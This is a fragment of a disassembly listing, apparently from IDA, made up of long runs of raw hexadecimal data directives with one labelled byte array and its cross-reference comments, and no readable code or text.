0EF8E371Ah, 3AAEDA60h, 0C6B00789h dd 0FA92BD1Fh, 0D4DC4EC0h dd 0AB140Bh, 15932CDBh, 0B663A204h, 107821Dh, 0C42F15h dd 0FC61BBFAh, 1E96B9E8h, 80754FECh, 947EA2EAh, 0A4007CB1h dd 31382F3Eh, 850DF5h, 465FB67h, 95C8D980h, 0FFF5895h dd 1DA26296h, 447D14E0h, 0A700666Ch, 54DCBF0Bh, 3FCBD757h dd 145AABEEh, 5803001Dh, 678A4842h, 78467EF0h, 0A7891400h dd 0A3EB8C8Bh, 1C6D00A4h, 0A5CEBECFh, 0E003EAB2h, 8F497411h dd 0C0D9A01Dh, 1C3E0383h, 9564DC92h, 80EE18A0h, 36F4CE00h dd 26A32085h, 5A770557h, 80884FBBh, 749D78Fh, 0E9C40A00h dd 68FE8E81h, 0C3E62Ah, 95BC32DAh, 96F01FF7h, 89035C73h dd 0F8366F51h, 5B8FA8F6h, 75A200AFh, 191EF1C1h, 2D008243h dd 49A0BA50h, 0A8EB53h, 0D4D32090h, 2BD6CE77h, 0E1EC4A00h dd 1B25228Fh, 3089002Dh, 0D098BEB3h, 5E00EE3Dh, 15E7028Eh dd 4C6DDA20h, 88007225h, 0AC26E579h, 1F26F53Ch, 60126CD1h dd 39D79400h, 440F19h, 0FB6CC3BEh, 65BD920Dh, 4C23F700h dd 20706F9Eh, 1B1D2E18h, 6D440020h, 97D02C03h, 0DD91DA00h dd 31407224h, 0A238093Fh, 4407BFCFh, 0FE8FC0CDh, 0FF006287h dd 178CD765h, 8613F5h, 50106B01h, 0E7EC4B1Ah, 6D03AA79h dd 0DA165ADCh, 306E829h, 0C89812DEh, 9C20287Dh, 9F740907h dd 2007251h, 0F48E3FADh, 154B1F93h, 4621008Ch, 0A9B961E5h dd 0B2954000h, 830C3A08h, 0DDD801BBh, 3140966h, 54430087h dd 0C37AF932h, 88C41701h, 8100221Ch, 0AB247D6Ch, 72A1137h dd 0FD0CACE8h, 2091B37Bh, 24561800h, 0B4E6224Dh, 719F00FBh dd 4865CEE4h, 180077A6h, 0E039C04Eh, 0DEFEA2h, 0A9E80349h dd 148672E1h, 2F8F7E00h, 80A42EBCh, 0E49F00FFh, 0F040D002h dd 95023CCFh, 47AA3386h, 0C264403Ah, 80100008h, 0B11446A0h dd 1D00C537h, 88E1FAC8h, 0EE6D42DFh, 0D7D48F6h, 3AB3417h dd 4C6E6368h, 29035FC0h, 24C5D409h, 89102239h, 99FCE0B4h dd 3C060008h, 2BB3F381h, 22004764h, 5D1FEE30h, 0FAB0138Ch dd 5C4F3A0Ch, 86C66900h, 7C7B3A0Ah, 0C96A7700h, 4FA33B5Fh dd 0F64607A4h, 902E452Bh, 3824AD56h, 0B11DC00h, 0D31A09A5h dd 0A4940120h, 7CE32627h, 1E5834A9h, 0CF3DD20Ch, 3B9B2021h dd 6C802702h, 46D53732h, 83134B13h, 50006151h, 0FD8BD891h dd 3E5E47Dh, 0C6205B95h, 0D0BFB929h, 8BD21678h, 0BDC1A00h dd 5F46B43Ah, 0DB9F373Dh, 9BBF4010h, 0E30048D5h, 0AEF573C3h dd 982CBA42h, 1B310042h, 0D46F1215h, 49031930h, 0E69D581Dh dd 0D11000D7h, 0A7BAEBA0h, 0DA005186h, 0C9C8623Eh, 1D6ADD04h dd 23D209h, 98F31E38h, 0FEE8A53Ah, 7C009372h, 522F54D7h dd 648FE4h, 0DF1ABF1Eh, 717E7587h, 27635901h, 0FA813DCh dd 98E4D0h, 35085205h, 0B61C8FC5h, 76F84100h, 978B2144h dd 0C7C300D4h, 0AA117204h, 1A00FF65h, 8AD9EF1Bh, 4421CBh dd 39A3272Eh, 60A1167Ch, 17191D00h, 0A7E4FA78h, 0F9710007h dd 0C206E927h, 0C09388Fh, 2D03193h, 60CC0190h, 0A28A2Dh dd 33997FC4h, 85EFC874h, 0F858E41Fh, 43A90340h, 0FEB260ECh dd 41CE005Ch, 6769F146h, 960044CAh, 3F54A473h, 0EE5D71h dd 0C09306B1h, 646F8E95h, 94E7EF1Fh, 5ACB0204h, 8674B890h dd 10FF0306h, 0B6F7E52Dh, 1F313698h, 0C25B1C00h, 66F6357Dh dd 83E8A8C5h, 0F4D33B1Bh, 0C6DF1C80h, 55F31513h, 2A10D200h dd 26EF1704h, 27D94051h, 6BB47F00h, 9986B30Ch, 8B9A050h dd 258F0A5Ch, 3433BBh, 10CFB1FDh, 1200947Ch, 3E05EFCh dd 0A3B9A26h, 0CB8C67FFh, 385D0094h, 0CE063F2Dh, 0D49C6000h dd 64A3D19Eh, 0ED7B0A32h, 3D987EB4h, 0DB3E4080h, 0DD537FD7h dd 0E7959A07h, 8030EB32h, 538FF8Fh, 92936983h, 5C9400A4h dd 219F327Bh, 55A58D04h, 80875E6Fh, 0B5D873B0h, 2E2A0062h dd 9E017F91h, 8C7E61A2h, 64086B00h, 7568F5CBh, 5FFB0197h dd 0DAF80C92h, 1C99FF9Ah, 4C5DC0C7h, 0FEA96701h, 80D3AA69h dd 0A5E030h, 1BDCA7BDh, 8B550347h, 0F500ABF4h, 994F89Dh dd 4ADF04h, 22FB39C8h, 0F3297F1h, 0F7781400h, 1FC48C49h dd 25037956h, 0E0000441h, 16F89112h, 4C3A6C03h, 48B03FAEh dd 9A14DCE0h, 50002036h, 0CD2430F5h, 485834ECh, 0B6E48D4h dd 2073DDC2h, 41E9AFDCh, 0BD0FE35h, 444E28D8h, 140608A0h dd 4CB8A894h, 297138h, 2DEBB652h, 3116BDh, 0B5DE2270h dd 0B095A7DCh, 52096400h, 8ED24ABEh, 0F07826h, 2FD65550h dd 8032795Bh, 0C1BE1C00h, 0DD489E40h, 0CCDB0096h, 9D23F413h dd 0B703A972h, 8D47A6B1h, 3DB0BF4Ch, 9FB8DCh, 8ADF61D0h dd 8E7D6BBFh, 43CE871Fh, 9116E000h, 7B6576F9h, 0A407005Ah dd 0C91D5CABh, 51F2E7BBh, 0EE610B03h, 8890BD3Dh, 65C36Ah dd 0B84A7541h, 48F10159h, 0CBF7D8F5h, 0E81E2828h, 94D92F13h dd 0E696BC00h, 0F352A0h, 6A8DF7FDh, 0FB7C06A7h, 0C3197205h dd 0AC205133h, 0C8D5D97h, 136B809Bh, 5313DC19h, 0C40EF719h dd 3E686099h, 0B52AEFh, 31356B97h, 0C398B3A3h, 700D3200h dd 84F058F5h, 85940050h, 64A77AF4h, 24006687h, 1F7FEFE0h dd 501340B3h, 6036D446h, 318C4CD7h, 0E7E1A0Ch, 0FFBADD00h dd 6E3C6D14h, 61C000A2h, 0CBAB7D23h, 7AFC4F10h, 0D800A0B8h dd 67044593h, 0E8BD90Ah, 0AB520B54h, 740440D3h, 5BFD6AEBh dd 0DA4A0D04h, 0C1BE5E7Ah, 703301CDh, 5C26E8E8h, 5A00F758h dd 3ADA2238h, 0B284071Bh, 328619E3h, 0FF804F6Bh, 3E6F7F82h dd 77BDA802h, 40D35E59h, 89A70738h, 8AE8C71Ah, 6512B436h dd 0D42033EEh, 3B172CBBh, 0BC80074Eh, 2D1E0345h, 9F000493h dd 58C6D3EDh, 9C290106h, 315C9760h, 4062AA78h, 0CE19C1B4h dd 54B63Bh, 0BC9EC2E6h, 9150890h, 0FCD85D2Dh, 0F7007CFCh dd 0FA3A0295h, 0A9F20678h, 70311756h, 940AA300h, 246D0BDAh dd 9ADC012Ah, 0E543AA46h, 0B57880A9h, 604158CBh, 5F60A88Ch dd 60B874h, 69E7F3EBh, 4CC7150Dh, 7CE359h, 6605EC4Fh, 901D802Bh dd 507F006Ch, 37DE49A6h, 10017406h, 0DB53D7A7h, 0FDF4F977h dd 149B1FC8h, 30854093h, 0DEBA4DFAh, 0F9CE2100h, 4A9CE96Ah dd 5C6C00F5h, 0D5BE6F7Eh, 1F1DFC71h, 1DC034B4h, 0D1F3F26Eh dd 0B793002Ch, 702F22FFh, 8001C60h, 0FF9BAEAh, 4C072924h dd 67BD636h, 0C02D8293h, 1000B087h, 0E440AE42h, 79AFA564h dd 0F311039Bh, 79C45A23h, 71F8FC8h, 0E55E3Dh, 0A8C09849h dd 39436B0Bh, 18003FB5h, 4E1B96E8h, 0CA00653Bh, 48928BEEh dd 1C254255h, 4FD3335Dh, 0BDA0B409h, 0EA84B69Fh, 0DF728200h dd 152592D1h, 774A3AEFh, 0F9F4B80h, 7B2B7C1h, 8544B01Ch dd 0E21E547h, 0BB5BA550h, 69FB0032h, 0FEAE78F9h, 6000A3B6h dd 8CBD0C6Ah, 516011Ch, 0CCF9E323h, 7A9081E1h, 55DEFC9Ch dd 19762C00h, 4D7B8DB4h, 547C3FD6h, 0C0A9C89Dh, 91C4A330h dd 55988B07h, 564E3800h, 0FFB3D7AFh, 4DE90043h, 83CE50CFh dd 3600E0A2h, 44349B67h, 3E99F57Dh, 0BF00A938h, 0FE6E3F14h dd 8B008E17h, 0DAEB0221h, 24C72F58h, 0A840F1h, 0FB0D062Ah dd 0D8C06A74h, 551007F7h, 0A84100ACh, 2F3501C7h, 51009009h dd 0D95E26CEh, 0FB049A7h, 762ECFA5h, 0A04763E0h, 4EFE9943h dd 3E78D01Eh, 7AAAF0C0h, 20FFD9h, 3B2A17D4h, 0C05A27F4h dd 4307DE79h, 9DDA548Ch, 0FFE7A951h, 0EA6A8A0h, 0EB4915D5h dd 4B1F6B80h dd 250091E9h, 5B0993BDh, 3778F5h, 0D29AF717h, 0C42FE83Dh dd 13AFF000h, 6EDF5F60h, 0F330741h, 0A721C0DBh, 5790A05Ch dd 98691115h, 10D700C8h, 97EE08h, 68FCC546h, 0FB4FECB7h dd 5CF66100h, 0A781EB80h, 4240519h, 0C09949FFh, 3CC0DED4h dd 66B1F300h, 8E420798h, 0DBB82892h, 65D300D8h, 1BC03B61h dd 940311C9h, 0FED39F3h, 6B74880Bh, 210C0391h, 0BB178FD4h dd 3CCB4094h, 2C8954h, 0B041C767h, 84E9A7F3h, 5B70B403h dd 82D64AD5h, 3A82C1C9h, 3FDA2F20h, 0ED00526Ch, 0E0CACEABh dd 0EE07E2F5h, 960BD0E3h, 2C2FA0B0h, 41340009h, 83A94466h dd 68000697h, 4AFB2D3Dh, 199295E6h, 88F14516h, 15DC5039h dd 0BA009193h, 874724F7h, 5ECFDFh, 72B58514h, 0EFFA02CCh dd 0DD2A9D14h, 0E8A600D1h, 87415CC5h, 0D7CD016Eh, 0F68FBEABh dd 28589D1Bh, 18D9003Bh, 3ED2DAA4h, 0B82D03C1h, 0F20DCE3Fh dd 96DCC0DDh, 9D007C7Ah, 895CA0ADh, 4CFA5E04h, 930523AAh dd 808515CFh, 162C5F0Ah, 88A98200h, 784EAEB4h, 4A061CF4h dd 389C8BE1h, 5B44EF80h, 0B7A00A99h, 0E6786216h, 2F1DF02h dd 40971248h, 0E3D6104h, 93EA3C2Ch, 0A4F89A20h, 4B3EF0B0h dd 58F980F7h, 0A345D77Ch, 0D028001Dh, 0E39D4D13h, 0B400E2A6h dd 7AB5F707h, 463B94h, 0DFBC8E82h, 31D305AAh, 802F6223h dd 9104DEE7h, 0FCA8933Bh, 0D506BC4Bh, 0B43B0C9h, 6C0D01AAh dd 94A56B6Fh, 0B71B60E2h, 0B0F40800h, 7E3AA276h, 4FA80FF8h dd 50EE53D9h, 0A0029209h, 8D00FC0Bh, 409FE2h, 168B52EBh dd 0FF8FBC71h, 3E9ECB09h, 809C8944h, 7764F67Ch, 84E60033h dd 4666AB60h, 6B004205h, 0B9A69E34h, 3FEBED2h, 778A2945h dd 1D8894D5h, 1800BF25h, 489BAD2Fh, 55C09EBh, 82AAB9FFh dd 2CB80780h, 0E8E570B1h, 6607C463h, 25793993h, 0B692A1A0h dd 732C02D5h, 8B7C654Fh, 802F7560h, 0BE36F300h, 0CE545D01h dd 9E630064h, 11999025h, 0B403894Ch, 0D1ABECA5h, 0AD57E049h dd 7DBF0036h, 1ADBCECFh, 153C5B64h, 98308447h, 19801D67h dd 7E4301h, 3DD5225Ah, 4CDCCCFDh, 97609FF7h, 8F5FCB4Eh dd 0D8D600E9h, 1DD439A4h, 533A590h, 7A27EBEh, 4CB1DC10h dd 90078039h, 91FD3BFFh, 4E122F41h, 79F6188Fh, 8F260D80h dd 0EA006D13h, 910B45EDh, 153DA81h, 0C6523001h, 0C49FE4A4h dd 0F617760h, 0F32FED60h, 5BE970h, 0C6818908h, 96E6E00Bh dd 78E89F30h, 0A0614010h, 0E9AE5254h, 59DA060Bh, 750E301h dd 7FBCCD4Ch, 5027C0EBh, 4176732Dh, 9867EA00h, 90F8DE94h dd 230300DCh, 1FBFD7B0h, 9A4CEC0Fh, 8BD501E7h, 759B9ECAh dd 29EAC8h, 396A405Ah, 23053BB2h, 0E1C28F1Fh, 0A5C64D40h dd 1F3FA820h, 7AD9F98h, 0B767496Dh, 0EE943189h, 0DD46015h dd 9170ED00h, 78125CE7h, 0BFBC007Ah, 17399466h, 86001CC3h dd 463E8DDEh, 39D8B04Ch, 0E300ED4Eh, 0EEA647CCh, 70ED5E50h dd 85000289h, 0F7FF0ED4h, 0F20BBD9Ch, 0AAF51432h, 0D0AC8EAh dd 24CC60E0h, 51C100A4h, 0F0CFED4Bh, 1FE50419h, 21807E08h dd 0E351C926h, 1BF04254h, 5841BA0Bh, 0EC3E811Fh, 8FDCE23Fh dd 0D76200D6h, 0B16404E0h, 0CC2A5094h, 300BC5Ah, 0D4444334h dd 1D61A118h, 1AA4D3DCh, 0B2412108h, 0DCC8FD43h, 58604211h dd 0A7D8A3A8h, 0C1CD787Ah, 0E8356329h, 86123132h, 0A652F711h dd 807103E0h, 81C1125Fh, 0C48FFA2h, 0A7013AD9h, 1892AABEh dd 0C09894AEh, 0A5326008h, 0DB50FD03h, 647C5E88h, 63336068h dd 0B400A47h, 91308369h, 4FCC00F8h, 4D7203A7h, 0EDD70A2Bh dd 80057Dh, 0F588F2E8h, 527162D5h, 41D1DC00h, 0EADDC14Bh dd 4AD62C16h, 0BE230015h, 835A2A5Dh, 531F6D1Eh, 0A08BF700h dd 76446BD3h, 97DE00FAh, 71B6026h, 391FC831h, 0C017C44Fh dd 61E9BB00h, 1F16DDFCh, 8021AA93h, 0CC8AC65Ah, 0A903881Ch dd 0CDBE7E79h, 1207C1DCh, 3F4818B0h, 660069BFh, 0B7B9C53Ah dd 352C9A4h, 23EA7004h, 2800C828h, 1A32DCEEh, 0FC56EE0h dd 834EB49Bh, 1FF23680h, 4F002B20h, 42B8825Bh, 740184h dd 6219991h, 0A8EC5F37h, 18613B07h, 69C0CB07h, 304524h dd 13944FBh, 7CE8D983h, 70005CEAh, 0CF03B317h, 3D7A3FF1h dd 6D8199EEh, 0A88AE9E8h, 7174E081h, 12108CEFh, 0ECD7C9C2h dd 556400A2h, 677F5BFh, 6C002D5Ch, 9AD9C7B7h, 1E38E9Dh dd 3BF44D94h, 51C34B44h, 46AB17A4h, 12307083h, 896851A7h dd 98E1F7DFh, 778402C0h, 0AC8985Fh, 7674CAC8h, 0E8540080h dd 7A475D99h, 34D4F100h, 0A2F82371h, 65B10044h, 15CB0F1Eh dd 833C48C0h, 0D6E00046h, 81254B73h, 368702C9h, 0C3055CDDh dd 0A311CE0h, 83D7B71Fh, 60E2E500h, 0CE824Fh, 377F527Eh dd 1A3F9B45h, 0B63A8300h, 0F9446DDAh, 3ECBEA6Bh, 0B007088h dd 3BBF8B07h, 1C00DFE9h, 0AC8C1357h, 0C0A2F6h, 0FAD131F4h dd 0E4113D73h, 0B40BA972h, 0CBF276h, 0F5B07E8Ch, 39FAD9h dd 0B972E3C0h, 5047DC9Dh, 6FA69C0Eh, 0FFA180AEh, 8B65A4h dd 5FEBA953h, 7388D01Eh, 7B11D00h, 5121BECCh, 425D0083h dd 327E9F7Dh, 0ED00DCB6h, 62C6398Ch, 6037A4F5h, 0BEC17A5Dh dd 5B008F79h, 0CCF9A274h, 1EA846Bh, 7B42B0F5h, 0D0317129h dd 0E7002A36h, 8C051C7Eh, 4C15880Ah, 38001569h, 1A9383F3h dd 0BB01D6E7h, 0E0843CE4h, 0C8FB1EABh, 0FA1F35h, 83EBB009h dd 7191E9B5h, 86CBB419h, 0C1098A29h, 4F11103h, 128EAB11h dd 0E1310A6h, 2F08DD89h, 84528B44h, 6A90EF00h, 0BE64999Eh dd 298700E4h, 7D9AF80Eh, 4E023B65h, 0A66AEF4Bh, 0BA782299h dd 24EA9422h, 0AA34278Fh, 0E427C48h, 51E322F5h, 229C2822h dd 0D922BD50h, 40F724F3h, 2A3B3EACh, 6798CAh, 21ED4518h dd 48FC6DAEh, 80E37839h, 3E617C32h, 0FC40C63Ch, 6D5301F4h dd 98CBC3DFh, 902FC96h, 80E5063Eh, 3FEAE480h, 1C85128Dh dd 40A5CBCDh, 8AE35ADh, 0A3982192h, 7276B717h, 19CD3001h dd 0F9413B7Bh, 40D456DAh, 4A43000Dh, 0FE8283A2h, 2A001D6Eh dd 6467164Eh, 46AD4h, 452339E9h, 0B4E6C96Bh, 682D0F00h dd 0DA8DAB61h, 1DFBA143h, 0EA1CF02Bh, 0E61FF303h, 0A0D36164h dd 908378E3h, 955009Ah, 15FF129Dh, 3F00D28Ch, 7EECD927h dd 1706DCh, 659EBFAFh, 9A23B5F8h, 0E22B5Ch, 0A62A0E90h dd 5C95A3FEh, 8D03E7F5h, 0D3546A37h, 66B103D3h, 341180BDh dd 4197A080h, 383600C3h, 0D66C888Dh, 6300B702h, 4C65D822h dd 281018h, 5197AD50h, 0E9A4A80Dh, 9500347Fh, 0B1E71ECh dd 13E1DA0h, 0AAAEB984h, 30E9625Dh, 45714370h, 0A668D001h dd 0E14DE326h, 9F8EF8h, 0CBC6D2C8h, 7BF0134Eh, 0C1AE0102h dd 80DD041Dh, 52FBED86h, 0FCD8009Eh, 57556823h, 0EC030173h dd 0ADA458E5h, 0A869C84Eh, 0D5E11EBEh, 3E80BF99h, 67E7F433h dd 0DAB8D474h, 0FFC94607h, 6B533A81h, 5A500C17h, 71C0B182h dd 0E6D64100h, 1094EA9Fh, 3A250059h, 0F451C632h, 0FB00B9B1h dd 0DDC7D5F8h, 0FC5AFAEFh, 2B7701ABh, 62939854h, 12BBD8DAh dd 0BDE44900h, 3901E99Dh, 50C009Bh, 95FCAEE0h, 360028A8h dd 3BD74873h, 34749BFh, 4F71DF32h, 0D9D8AE7Dh, 4CC3C510h dd 0D84377DEh, 38D3C7Ch, 0CBBDEFFDh, 8A180F5Bh, 0A3187B28h dd 7CFC19h, 0EC383074h, 0E19405D4h, 815EB200h, 0DD80C1E6h dd 0A9AB0F95h, 0F9A260A6h dd 7446A566h, 56F65D00h, 69A39FB1h, 7FFF003Ah, 5AF2836h dd 4D77B788h, 53DC1707h, 0F9B02BF3h, 7B382C07h, 0E2707ADh dd 90983C5Ch, 3A8806ABh, 0FA72EB00h, 40EE33FEh, 41DF0681h dd 50791F48h, 0CCE09F00h, 0FC723B54h, 0A22F3918h, 68E46280h dd 0CD2255F8h, 8CB89118h, 0FE699A31h, 0F351DCEh, 6CC10020h dd 11073256h, 4A6EC500h, 0CCA38AB1h, 0BBA800ADh, 314DDB93h dd 0B90F029Bh, 60F589C5h, 9A5963D5h, 0BCBE0033h, 82FCC7F6h dd 3F025C7Dh, 0D58C8D46h, 0C07E0E4Ah, 79B2C94Dh, 33070BF5h dd 3185BA53h, 65A614C0h, 5DD40E20h, 79238E21h, 0EE0A88Ch dd 0DC007FF7h, 1649EAC3h, 10A84EFh, 0B53918D5h, 20288879h dd 143DB895h, 0B2860015h, 121CAAA4h, 3DB70EF4h, 0B6C0ADC3h dd 5DEAE97Ah, 883963E4h, 374B005Ch, 3DBEE8Dh, 21510065h dd 198209B6h, 3648228Bh, 1E530001h, 0CFCE40BEh, 0E927071Dh dd 0D0324329h, 0FB9B2FA9h, 0A4013D71h, 2D032673h, 0E8C01CAEh dd 0E73707A0h, 7170E2Eh, 0EFEE00DEh, 0C98443Ch, 0B300CB90h dd 38B0FD04h, 2119CB1h, 2B47788Dh, 0FE801E68h, 0BB94ACD3h dd 1D791300h, 3C4CA2CAh, 2FA70317h, 87DA42B3h, 8864D1B8h dd 18FE300h, 37C416DBh, 0F66A0068h, 913A493Fh, 0ED486246h dd 4F0775E9h, 7D32A240h, 0E27F1940h, 26297123h, 0E3F717h dd 1F22A86Ch, 0F0072827h, 262BD72Dh, 69458820h, 0A9FF001Ah dd 8FA8C093h, 66008C8Eh, 2D7B9509h, 0B12BEh, 3562A716h dd 0F7205AE5h, 6366CA01h, 0FAB13F94h, 0C667E440h, 82F200ADh dd 0BB40DE60h, 0D6000A15h, 0A0BDC42Ch, 2439705Fh, 9D5B24h dd 0DD76B92Eh, 670426FBh, 7E51F659h, 0F3C04F83h, 4CF7B9CFh dd 0DAE480C6h, 7F5D0FEFh, 24E0574h, 80D6D48Bh, 577C5A24h dd 7CB66C24h, 0B237FA01h, 8EC891BAh, 83A7009Ch, 0A301E634h dd 0C700C62Eh, 0E8F0A67Ch, 1409F7Bh, 0DA93956Fh, 4402DCF6h dd 7A948284h, 0F03EC1E1h, 0C278DE59h, 49A76601h, 247302E1h dd 11A6570h, 6EECB60Ch, 0D12C5061h, 7EE830C8h, 9F70EE01h dd 0C9CBCCDEh, 89C320h, 0CDE98775h, 44C50341h, 47FBA10Eh dd 0E0792FD0h, 0D35EE08Dh, 0B4E1010Dh, 912884DDh, 0BAC5C8CAh dd 496F2906h, 4C60C956h, 63807C4Bh, 1EA73BADh, 0CA0515FEh dd 0D9113814h, 4F1D8400h, 6BC3B296h, 7B008046h, 4BF9CA3Eh dd 0A568A600h, 101C01D1h, 96D3005Fh, 0ECF49922h, 0E07CFE84h dd 7FA43400h, 0E17C4441h, 770E0028h, 7E4DC01Bh, 0C900061Eh dd 7F53DF22h, 13B04FAh, 4ABE3E83h, 0CC3A6C7Ah, 0B93BA5EAh dd 0A29F00B8h, 5CE6965h, 37F07D5h, 1544C4h, 2A731EFBh dd 694F0A1Fh, 0D076E1F0h, 0A76012E2h, 9BF4414Eh, 0D8B1BF8Eh dd 0D40B72BEh, 806691FEh, 0D654F855h, 0C9640FFDh, 5C89F1B0h dd 0D143C20h, 1600D4D1h, 0CF1AF688h, 0BB4CCADh, 851CA6BDh dd 1E13B400h, 0C30002B0h, 222A709Ch, 39D15Fh, 945D44C6h dd 19133B82h, 682CBA00h, 0FAE94C81h, 1EBD019Bh, 0E7C9106Ah dd 2E76F4B3h, 0A4A42050h, 3CD83000h, 0CEEF3507h, 0C34B0001h dd 0BF4C2410h, 4700C55Fh, 5228FFF6h, 479E9FBh, 90C1C249h dd 0F7A087FDh, 62AF83E6h, 9B647080h, 752EB500h, 0C05FE405h dd 0D990053Fh, 0CC36B944h, 61D03D0h, 3980F907h, 0A20E539Eh dd 0FCEE044Eh, 8356ECD8h, 0A8D97AA0h, 7D80075Ch, 0F934CD9h dd 0DAB2C89Bh, 0D2C96600h, 603BC7Bh, 428908F8h, 535CC8F9h dd 4CBA84h, 7576F6FEh, 81FCC850h, 95B9CE50h, 87675100h dd 0B74C6CE5h, 89641940h, 725FD0EFh, 92D605B4h, 0DE813F1Dh dd 0B070F096h, 0A2771E51h, 0B3D1C0DCh, 4AF6865h, 2AD22060h db 61h byte_520045 db 0DDh, 28h, 12h ; DATA XREF: ___:00437A28o ; ___:00437A40o dd 8070C472h, 7EBDB266h, 36081907h, 5400B524h, 1DBF0EC7h dd 80183D05h, 806133B6h, 0E6006390h, 593536D1h, 26569CD3h dd 801CC141h, 5A9B2181h, 0D50FCD31h, 20ED3813h, 44AC3467h dd 0EEBE0A3Dh, 9C3E7Eh, 0E725BCC8h, 5B8E563h, 0D01FFA09h dd 0B8280072h, 0B40934h, 0CA01508Eh, 7927D3AFh, 0C175D3B0h dd 17000D90h, 0EA535FD2h, 395DC72h, 7E5EE999h, 0E8C03307h dd 0DE49BA1h, 0B2104E07h, 5E0188h, 700C4FB5h, 98A200D3h dd 7534CEBh, 0CA756AA0h, 7192BB26h, 0E59C6C01h, 9870F5A3h dd 788C2E34h, 87AC3D50h, 16BA80D8h, 0F35BD4DAh, 3B99D600h dd 512BC21Eh, 0B1D8132Ch, 0A4580F9Bh, 0C0AB60E4h, 0EBF4631Ch dd 0C4376500h, 792D94CFh, 6EA3001Bh, 87DB928Ch, 64B069E1h dd 833C6A00h, 0B70648FFh, 0B571006Ch, 1BC5F4ABh, 7C7B046Fh dd 0A8D09400h, 0B63E0A4Fh, 0A99812A6h, 69D100FAh, 3F858CDAh dd 2846F48h, 14EEC6B2h, 0A2CB00F3h, 0F6582EA6h, 60EC045Ch dd 3787A831h, 3F4CE250h, 13F0900Ch, 9CBA71h, 0C8D62A30h dd 7E4BB85h, 1F14BD4Ch, 488225E2h, 49C0A4E0h, 1BEC8684h dd 2EB88B5Dh, 0B7051273h, 3F8F3D8Eh, 47E9C1Ch, 87C04788h dd 31527C80h, 3742006Bh, 7E3281Eh, 0A600B4D2h, 8E01B4Dh dd 5077556Ah, 11EF07Eh, 0F0B8E827h, 20F7F86Dh, 2338AA74h dd 47AC80F1h, 53F3ED44h, 69C007Ah, 3FB9A686h, 5A7C0C8Dh dd 7DF69198h, 45B1E416h, 80AFE809h, 53EF182Ch, 0D9DA1E92h dd 275CC09Eh, 0ADD12AB9h, 6B0B6701h, 1157DE03h, 444C20h dd 50319076h, 0BC54D8C4h, 29481C00h, 1174538Fh, 17800E19h dd 69401442h, 0EC39EB3Dh, 945F1D00h, 70239C26h, 840B0617h dd 0D87AAE01h, 22467D00h, 3099CBB4h, 19850705h, 55323687h dd 0D9F0C815h, 0DB2E3307h, 9F407E46h, 75602F73h, 95263B8Ch dd 45160707h, 0E5C10058h, 8E9539F7h, 7643C372h, 44D0CC94h dd 0A8A10A51h, 922194h, 0B67E9738h, 6EE31850h, 13F97400h dd 0A167D558h, 158D0032h, 0A24B2F61h, 4E0FCFE4h, 0E0F0A04Fh dd 598720DAh, 0BACC122Ch, 8178009Eh, 5F04423Eh, 950020B8h dd 0CB0DAD80h, 3AC87FBEh, 26812E57h, 0A83C1D10h, 0F38C2078h dd 0B29B8E00h, 9ECF0941h, 0FFD7960h, 354B544Fh, 2900F4B4h dd 0D859A0A9h, 0BB007C56h, 0B6D7C668h, 90119218h, 3C908Fh dd 0D27423E0h, 28C048D6h, 52C77900h, 7704DC1Ch, 0E11F0017h dd 0DD89F2A5h, 32016195h, 5B0FD7E6h, 0D3EF4064h, 7876D849h dd 69E003C4h, 770C48EBh, 8A2BF7F8h, 0A4F3A201h, 0C26DCA1Bh dd 23EA30h, 0F4FA8214h, 0F0CBCDF5h, 0EDFCBCA1h, 0CFDC38D1h dd 0FBD0E0F2h, 73871Ah, 0C0B68698h, 7D45A17Ch, 31047700h dd 266FA4DDh, 5EFA23h, 0E8471841h, 38647D6Ch, 0C2D09D0Bh dd 0FA8887B7h, 0B20592D4h, 0F9DCD05Fh, 1358AAEDh, 89F72608h dd 0FD65A900h, 947F85Eh, 324A44CAh, 40B9E041h, 67F2EEBCh dd 9C2AA717h, 1608E502h, 0EBC0E011h, 70A3058Ah, 0EF395EAh dd 31E061C0h, 0CC4F55DBh, 0D81AAD07h, 3F6713h, 6BACC2FAh dd 0A93B0058h, 7EE68D9Dh, 3F00D298h, 1DCB4C0Eh, 19B3228h dd 50CCF31Ah, 0E3331293h, 84FA72A0h, 0D800654Eh, 0CB27CD4h dd 0D2CB0359h, 0B5D51C50h, 2BAD70E0h, 213188C0h, 408718A1h dd 8E1FAA8Dh, 28C19903h, 6AC8FBF1h, 1113438h, 0BD3D009Ah dd 5168C440h, 1F1B0003h, 0C378A229h, 449AC545h, 0D9C16D00h dd 0BFACD55h, 1606E47Fh, 18472C6h, 6AE75978h, 0DC5825D5h dd 7F3F5204h, 994B0366h, 0F0989D35h, 0EFF57D4h, 0DFC1149Fh dd 0B8008729h, 292A2C5h, 6316BB18h, 1C86B4E6h, 70E0307h dd 50138AE7h, 79AF7517h, 0D7007CFCh, 0E51AEAA2h, 0FC8C3AD5h dd 36A7012Dh, 41DEA977h, 0FB8E30E9h, 12297901h, 0C037D140h dd 25265A80h, 1E56909Ch, 24420E00h, 54EF3E93h, 22AC0062h dd 0D6C18E84h, 0E877A45Ch, 14880607h, 80B05D39h, 58508D8Ch dd 2017D4ABh, 465704C6h, 0DC7CC0E6h, 0CB052DA4h, 0AA96B693h dd 0D6C08400h, 14DE47Eh, 0F7288772h, 418357F2h, 0DCAAD7A8h dd 0B0A8D277h, 0AC003B50h, 0C0572D3h, 131DC411h, 0D27F36h dd 0AFDD0914h, 0D89F66A5h, 501900AFh, 8533917Ch, 740F514Ch dd 0C626600Fh, 0FE5038E6h, 311001Fh, 59E50B1Eh, 0C27D2BE3h dd 319AF32Eh, 9024DC0Bh, 3EFE290h, 21682FCDh, 0B9F8A66Ch dd 0CB3B8055h, 237983ADh, 0E169A3B8h, 763093AEh, 2D3005Eh dd 6621FE97h, 811C5F76h, 28E49E6Fh, 0A7A50306h, 1E0403D9h dd 33ADD0A0h, 2FC13DF2h, 0F3D1D313h, 4502C47h, 0C326C72Bh dd 52F20490h, 30823FC4h, 0BC051F80h, 3301AD3Bh, 143C3400h dd 312B0F6h, 94B61F95h, 7760C004h, 25085B29h, 688EE00Bh dd 5E8910h, 0F439DF00h, 4AC10FA6h, 0C3C0D4E6h, 0F02584D3h dd 47364600h, 2A083A9Ah, 978D14AFh, 641D835Ch, 80D29625h dd 89C8494Ch, 0B0E393Bh, 1BE0D2Bh, 9CAE3D8Ch, 5863B05Ch dd 545CCEh, 356E07B8h, 1042CD93h, 0F0FF1927h, 410E4EF8h dd 20A0D3EEh, 0D076034Bh, 5E2900F3h, 0BF611B1Eh, 5500D7DFh dd 1C31D885h, 0C9E89627h, 9800C830h, 71A39AE9h, 0A6CBB0A0h 